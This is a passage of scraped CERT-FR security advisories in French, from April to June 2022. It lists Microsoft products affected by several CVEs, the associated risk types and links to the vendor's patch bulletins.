| Microsoft | N/A | System Center Operations Manager (SCOM) 2016 | ||
| Microsoft | Azure | Azure Automation Update Management | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.2 | ||
| Microsoft | N/A | NuGet.exe | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes 32 bits (CU 4) | ||
| Microsoft | N/A | Microsoft SQL Server 2016 pour systèmes x64 Service Pack 3 (GDR) | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.9 (includes 16.0 - 16.8) | ||
| Microsoft | Azure | Azure Diagnostics (LAD) | ||
| Microsoft | N/A | HEVC Video Extensions | ||
| Microsoft | Azure | Azure Real Time Operating System GUIX | ||
| Microsoft | Azure | Azure Service Fabric | ||
| Microsoft | Azure | Azure Security Center | ||
| Microsoft | N/A | Container Monitoring Solution | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes x64 (CU 4) | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.11 (includes 16.0 - 16.10) | ||
| Microsoft | N/A | AV1 Video Extension | ||
| Microsoft | N/A | System Center Operations Manager (SCOM) 2019 | ||
| Microsoft | N/A | Visual Studio 2022 pour Mac version 17.0 | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes x64 (GDR) | ||
| Microsoft | N/A | Visual Studio 2019 pour Mac version 8.10 | ||
| Microsoft | Azure | Microsoft SQL Server 2016 pour systèmes x64 Service Pack 3 Azure Connectivity Pack | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour systèmes 32 bits | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour 64 bits Systems | ||
| Microsoft | N/A | Microsoft SQL Server 2017 pour systèmes x64 (GDR) | ||
| Microsoft | N/A | HEVC Video Extension | ||
| Microsoft | N/A | Microsoft SQL Server 2019 pour systèmes x64 (GDR) | ||
| Microsoft | Azure | Azure Real Time Operating System | ||
| Microsoft | N/A | Log Analytics Agent | ||
| Microsoft | N/A | Microsoft Photos | ||
| Microsoft | N/A | Microsoft SQL Server 2016 pour systèmes x64 Service Pack 2 (CU 17) | ||
| Microsoft | Azure | Azure Stack Hub | ||
| Microsoft | N/A | Microsoft SQL Server 2016 pour systèmes x64 Service Pack 2 (GDR) | ||
| Microsoft | N/A | Microsoft SQL Server 2019 pour systèmes x64 (CU 16) | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes 32 bits (GDR) | ||
| Microsoft | Azure | Azure Open Management Infrastructure | ||
| Microsoft | N/A | System Center Operations Manager (SCOM) 2022 | ||
| Microsoft | Azure | Azure Sentinel |
References
| Title | Publication Time | Tags | |||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Microsoft SQL Server 2017 pour syst\u00e8mes x64 (CU 29)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.0",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Automation State Configuration, DSC Extension",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "System Center Operations Manager (SCOM) 2016",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Automation Update Management",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.2",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "NuGet.exe",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes 32 bits (CU 4)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2016 pour syst\u00e8mes x64 Service Pack 3 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.9 (includes 16.0 - 16.8)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Diagnostics (LAD)",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "HEVC Video Extensions",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Real Time Operating System GUIX",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Service Fabric",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Security Center",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Container Monitoring Solution",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes x64 (CU 4)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.11 (includes 16.0 - 16.10)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "AV1 Video Extension",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "System Center Operations Manager (SCOM) 2019",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Visual Studio 2022 pour Mac version 17.0",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Visual Studio 2019 pour Mac version 8.10",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2016 pour syst\u00e8mes x64 Service Pack 3 Azure Connectivity Pack",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour syst\u00e8mes 32 bits",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour 64 bits Systems",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2017 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "HEVC Video Extension",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2019 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Real Time Operating System",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Log Analytics Agent",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Photos",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2016 pour syst\u00e8mes x64 Service Pack 2 (CU 17)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Stack Hub",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2016 pour syst\u00e8mes x64 Service Pack 2 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2019 pour syst\u00e8mes x64 (CU 16)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes 32 bits (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Open Management Infrastructure",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "System Center Operations Manager (SCOM) 2022",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Sentinel",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-30137",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30137"
},
{
"name": "CVE-2022-29119",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-29119"
},
{
"name": "CVE-2022-30167",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30167"
},
{
"name": "CVE-2022-29111",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-29111"
},
{
"name": "CVE-2022-30188",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30188"
},
{
"name": "CVE-2022-22018",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-22018"
},
{
"name": "CVE-2022-29149",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-29149"
},
{
"name": "CVE-2022-30178",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30178"
},
{
"name": "CVE-2022-29143",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-29143"
},
{
"name": "CVE-2022-30179",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30179"
},
{
"name": "CVE-2022-30168",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30168"
},
{
"name": "CVE-2022-30193",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30193"
},
{
"name": "CVE-2022-30180",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30180"
},
{
"name": "CVE-2022-30184",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30184"
},
{
"name": "CVE-2022-30177",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30177"
},
{
"name": "CVE-2022-30174",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30174"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30193 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30193"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-29143 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-29143"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30188 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30188"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-29119 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-29119"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-22018 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22018"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30137 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30137"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30167 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30167"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30168 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30168"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30180 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30180"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30174 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30174"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30184 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30184"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-29149 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-29149"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30178 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30178"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30177 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30177"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-29111 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-29111"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30179 du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30179"
}
],
"reference": "CERTFR-2022-AVI-559",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-06-15T00:00:00.000000"
}
],
"risks": [
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eles produits Microsoft\u003c/span\u003e. Elles permettent \u00e0 un\nattaquant de provoquer une \u00e9l\u00e9vation de privil\u00e8ges, une atteinte \u00e0 la\nconfidentialit\u00e9 des donn\u00e9es et une ex\u00e9cution de code \u00e0 distance.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Microsoft",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 14 juin 2022",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2022-AVI-428
Vulnerability from certfr_avis - Published: - Updated:
Une vulnérabilité a été découverte dans Microsoft Azure. Elle permet à un attaquant de provoquer une exécution de code arbitraire à distance.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | |||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Self-hosted Integration Runtime (Runtime d\u0027int\u00e9gration auto-h\u00e9berg\u00e9)",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Synapse",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Data Factory",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Pilote ODBC Magnitude Simba d\u0027Amazon Redshift",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-29972",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-29972"
}
],
"links": [],
"reference": "CERTFR-2022-AVI-428",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-05-10T00:00:00.000000"
}
],
"risks": [
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
}
],
"summary": "Une vuln\u00e9rabilit\u00e9 a \u00e9t\u00e9 d\u00e9couverte dans Microsoft Azure. Elle permet \u00e0\nun attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance.\n",
"title": "Vuln\u00e9rabilit\u00e9 dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin d\u0027information Microsoft du 09 mai 2022",
"url": "https://msrc-blog.microsoft.com/2022/05/09/vulnerability-mitigated-in-the-third-party-data-connector-used-in-azure-synapse-pipelines-and-azure-data-factory-cve-2022-29972"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-29972 du 09 mai 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-29972"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft ADV220001 du 09 mai 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/ADV220001"
}
]
}
CERTFR-2022-AVI-336
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans Microsoft .Net. Elles permettent à un attaquant de provoquer une atteinte à la confidentialité des données et un déni de service.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | Azure | Azure SDK pour .Net | ||
| Microsoft | N/A | Microsoft .NET Framework 4.8 | ||
| Microsoft | N/A | Microsoft .NET Framework 3.0 Service Pack 2 | ||
| Microsoft | N/A | Microsoft .NET Framework 3.5 | ||
| Microsoft | N/A | Microsoft .NET Framework 3.5 AND 4.8 | ||
| Microsoft | N/A | Microsoft .NET Framework 3.5 AND 4.7.2 | ||
| Microsoft | N/A | Microsoft .NET Framework 2.0 Service Pack 2 | ||
| Microsoft | N/A | Microsoft .NET Framework 3.5.1 | ||
| Microsoft | N/A | Microsoft .NET Framework 4.5.2 | ||
| Microsoft | N/A | Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 | ||
| Microsoft | N/A | Microsoft .NET Framework 4.6 |
References
| Title | Publication Time | Tags | |
|---|---|---|---|
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure SDK pour .Net",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft .NET Framework 4.8",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft .NET Framework 3.0 Service Pack 2",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft .NET Framework 3.5",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft .NET Framework 3.5 AND 4.8",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft .NET Framework 3.5 AND 4.7.2",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft .NET Framework 2.0 Service Pack 2",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft .NET Framework 3.5.1",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft .NET Framework 4.5.2",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft .NET Framework 4.6",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-26907",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-26907"
},
{
"name": "CVE-2022-26832",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-26832"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-26907 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26907"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-26832 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26832"
}
],
"reference": "CERTFR-2022-AVI-336",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-04-13T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eMicrosoft .Net\u003c/span\u003e. Elles permettent \u00e0 un attaquant de\nprovoquer une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es et un d\u00e9ni de\nservice.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft .Net",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2022-AVI-337
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans les produits Microsoft. Elles permettent à un attaquant de provoquer une atteinte à la confidentialité des données, une usurpation d'identité, une exécution de code à distance, une élévation de privilèges et un déni de service.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | Azure | Azure Site Recovery VMWare to Azure | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.0 | ||
| Microsoft | N/A | Microsoft Visual Studio 2017 version 15.9 (includes 15.0 - 15.8) | ||
| Microsoft | N/A | Skype pour Business Server 2015 CU12 | ||
| Microsoft | N/A | YARP 1.0 | ||
| Microsoft | N/A | YARP 1.1RC | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.7 (includes 16.0 – 16.6) | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.9 (includes 16.0 - 16.8) | ||
| Microsoft | N/A | HEVC Video Extensions | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.11 (includes 16.0 - 16.10) | ||
| Microsoft | N/A | Skype pour Business Server 2019 CU6 | ||
| Microsoft | N/A | Microsoft Malware Protection Engine | ||
| Microsoft | N/A | Visual Studio 2019 pour Mac version 8.10 | ||
| Microsoft | N/A | Visual Studio Code | ||
| Microsoft | N/A | Microsoft Dynamics 365 (on-premises) version 9.1 | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour systèmes 32 bits | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour 64 bits Systems | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.1 | ||
| Microsoft | N/A | Microsoft On-Premises Data Gateway | ||
| Microsoft | N/A | HEVC Video Extension | ||
| Microsoft | N/A | Microsoft Lync Server 2013 CU10 | ||
| Microsoft | N/A | Microsoft Dynamics 365 (on-premises) version 9.0 |
References
| Title | Publication Time | Tags | |||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure Site Recovery VMWare to Azure",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.0",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2017 version 15.9 (includes 15.0 - 15.8)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Skype pour Business Server 2015 CU12",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "YARP 1.0",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "YARP 1.1RC",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.7 (includes 16.0 \u2013 16.6)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.9 (includes 16.0 - 16.8)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "HEVC Video Extensions",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.11 (includes 16.0 - 16.10)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Skype pour Business Server 2019 CU6",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Malware Protection Engine",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Visual Studio 2019 pour Mac version 8.10",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Visual Studio Code",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Dynamics 365 (on-premises) version 9.1",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour syst\u00e8mes 32 bits",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour 64 bits Systems",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.1",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft On-Premises Data Gateway",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "HEVC Video Extension",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Lync Server 2013 CU10",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Dynamics 365 (on-premises) version 9.0",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-26896",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-26896"
},
{
"name": "CVE-2022-24513",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24513"
},
{
"name": "CVE-2022-26897",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-26897"
},
{
"name": "CVE-2022-26910",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-26910"
},
{
"name": "CVE-2022-24548",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24548"
},
{
"name": "CVE-2022-26911",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-26911"
},
{
"name": "CVE-2022-24765",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24765"
},
{
"name": "CVE-2022-24532",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24532"
},
{
"name": "CVE-2022-23259",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23259"
},
{
"name": "CVE-2022-26898",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-26898"
},
{
"name": "CVE-2022-24767",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24767"
},
{
"name": "CVE-2022-26924",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-26924"
},
{
"name": "CVE-2022-26921",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-26921"
},
{
"name": "CVE-2022-24473",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24473"
},
{
"name": "CVE-2022-26901",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-26901"
},
{
"name": "CVE-2022-23292",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23292"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-26911 du 12 avril 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26911"
},
{
